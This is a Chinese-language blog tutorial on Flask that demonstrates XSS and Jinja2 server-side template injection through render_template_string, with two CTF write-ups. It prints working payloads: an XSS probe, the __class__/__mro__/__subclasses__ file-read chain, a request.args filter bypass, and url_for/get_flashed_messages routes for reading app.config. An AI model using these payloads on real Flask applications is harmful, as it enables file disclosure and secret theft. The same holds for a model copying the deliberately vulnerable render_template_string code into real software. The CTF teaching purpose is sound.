Flask框架

Flask框架

Flask框架诞生于2010年,是Armin ronacher用Python编写的轻量级Web应用程序框架,其本身相当于一个内核,几乎所有的功能都需要用到扩展工具,都需要第三方扩展来实现。

Flask框架的WSGI工具箱采用Werkzeug,模板引擎使用jinja2,其中:

  • WSGI:Web服务器网关接口(WSGI)已被采纳为Python Web应用程序开发的标准,是Web服务器和Web应用程序之间通用接口的规范;

  • Werkzeug:是一个WSGI工具包,支持URL路由请求集成,一次可以响应多个用户的访问请求;支持Cookie和会话管理,提高用户访问速度;支持交互式Javascript调试,提高用户体验;可以处理HTTP基本事务,快速响应客户端推送过来的访问请求。

  • jinja2:是Python的流行模板引擎,网页模板系统将模板与特定的数据源结合起来呈现动态网页。

常用拓展包

其常用的扩展工具有:

  • Flask-script:脚本工具;

  • Flask-SQLalchemy:数据库操作工具;

  • Flask-migrate:管理迁移数据库工具;

  • Flask-Session:Session存储方式指定;

  • Flask-WTF:表单,WTForms的渲染和验证;

  • Flask-Mail:为Flask框架提供SMTP接口,邮件工具;

  • Flask-Bable:提供国际化和本地化支持,翻译;

  • Flask-Login:认证用户状态

  • Flask-OpenID:认证;

  • Flask-RESTful:开发REST API的工具;

  • Flask-Bootstrap:集成前端Twitter Bootstrap框架;

  • Flask-Moment:本地化日期和时间;

  • Flask-Admin:简单而可扩展的管理接口的框架。

搭建环境

直接在pycharm中新建flask框架项目

新建后可以看到框架项目目录如下

  • static:静态文件夹,里面通常存放js、css、img等一些静态文件;
  • templates:模板文件夹,用来保存我们html模板;
  • venv:虚拟环境文件夹,存放我们pip安装的库、模块和扩展工具等;
  • app.py:项目启动文件

app.py文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask
#创建Flask实例对象
app = Flask(__name__)

#装饰器触发视图函数URL
@app.route('/')
#定义视图函数,返回浏览器中显示信息
def hello_world(): # put application's code here
return 'Hello Everyone!This is the first flask project'


if __name__ == '__main__':
app.run()
#app.run()启动服务器

运行该文件,如下

访问5000端口,浏览器返回定义的视图函数中的显示信息

flask模板

flask的渲染方法有render_templaterender_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

1
return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

1
2
html = '<h1>This is index page</h1>'
return render_template_string(html)

在网站根目录下新建templates文件夹,用来存放html

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Test Page</title>
<h1>This is a test page!</h1>
</head>
<body>
</body>
</html>

在app.py中修改为使用render_template()渲染index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask,url_for,redirect,render_template,render_template_string

app = Flask(__name__)


@app.route('/index/')
def hello_world(): # put application's code here
return render_template("index.html")


if __name__ == '__main__':
app.run()

如下图访问/index.html

模板文件并不止是单纯的html文件,还是夹杂着模板的语法,不正确使用flask中的render_template_string方法会引起SSTI模板注入

Xss利用

代码如下,使用render_template_string()加载html字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22


from flask import Flask, url_for, redirect, render_template, render_template_string, request

app = Flask(__name__)


# @app.route('/index/')
# def hello_world(): # put application's code here
# return render_template("index.html")
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h1>%s</h1>
'''%(code)
return render_template_string(html)


if __name__ == '__main__':
app.run()

在浏览器中访问进行xss测试,输入<img/src=1 onerror=alert(1)>,浏览器访问成功。将输入的参数当作html执行了

将代码修改为如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19


from flask import Flask, url_for, redirect, render_template, render_template_string, request

app = Flask(__name__)


# @app.route('/index/')
# def hello_world(): # put application's code here
# return render_template("index.html")
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{code}}</h1>',code=code)


if __name__ == '__main__':
app.run()

依次进行xss测试,结果直接输出了payload

这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了

文件读取/命令执行

通过包裹变量标识符,还可执行简单的表达式,如下图执行计算表达式

还可以查看全局变量

还可以通过python对象的继承关系来执行系统命令,下面为几个魔术方法

1
2
3
4
5
6
7
8
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

1、获取字符串的类对象

2、寻找基类

3、寻找可用引用,可以观察到其中的fileloader类

os类

模板注入

案例一

将上述代码规范下格式,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#加载'FLAG'

@app.route('/')
def index():
return (open(__file__).read() #请求“/”返回当前页面的代码

@app.route('/shrine/'))
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
#请求"/shrine/",首先调用safe_jinja()将输入s中"()"双括号替换成空,但是config、self参数的值设为None,无法直接查看,随后返回格式化字符串

if __name__ == '__main__':
app.run(debug=True)

所以这里的模板注入路径为/shrine/,如下可执行计算表达式

下面分别使用python内置函数、url_for、get_flashed_messaged进行测试

Python内置函数

执行失败,通过上述源代码可以看出,主要是读取config中的”FLAG”配置来获得flag,但config和self都设置为none

Url_for函数

url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS、JavaScript等)。只要在你的包中或是模块的所在目录中创建一个名为static的文件夹,在应用中使用 /static即可访问。
所以我们可以用url_for函数来查看当前包中所有的静态文件,其中肯定就包括了配置文件

先查看url_for函数的全局变量的字典的引用:

发现有个current_app字段,直接读取该键值对为app

下面我们直接读取配置文件app.config

查看其中的FLAG键值

得到flag值flag{shrine_is_good_ssti}

get_flashed_messages()

flask闪现是基于flask内置的session的,利用浏览器的session缓存闪现信息。之前的每次flash()函数都会缓存一个信息,之后再通过get_flashed_messages()函数访问缓存的信息。

flash()函数有三种形式缓存数据:
1、缓存字符串内容。
设置闪现内容:flash(‘恭喜您登录成功’)
2、缓存默认键值对。当闪现一个消息时,是可以提供一个分类的。未指定分类时默认的分类为 ‘message’ 。
设置闪现内容:flash(‘恭喜您登录成功’,“status”)
3、缓存自定义键值对。
设置闪现内容:flash(‘您的账户名为admin’,“username”)

下面首先获取所有缓存的内容

可以看到current_app键值对,还是为app

接下来就可以查看app下面的所有配置文件

获取FLAG字段值

flag为flag{shrine_is_good_ssti}

案例二

request.args

如下面两个图可得,两个url都存在模板注入漏洞,并且源代码中提示了flag文件路径

这里只选用login.php用作测试,如下查看config配置文件

使用内置函数测试是否被过滤

可以看到class、subclasses、mro都被过滤了,但可以使用request.args来传输参数,如下图所示

接下来直接构造payload读取目标flag文件

原payload

1
{{"".__class__.__mro__[2].__subclasses__[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}

使用request.args代替

1
{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

得到flag为cyberpeace{aa9a0c910db8e0e0cfc9d9630080dfca}

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信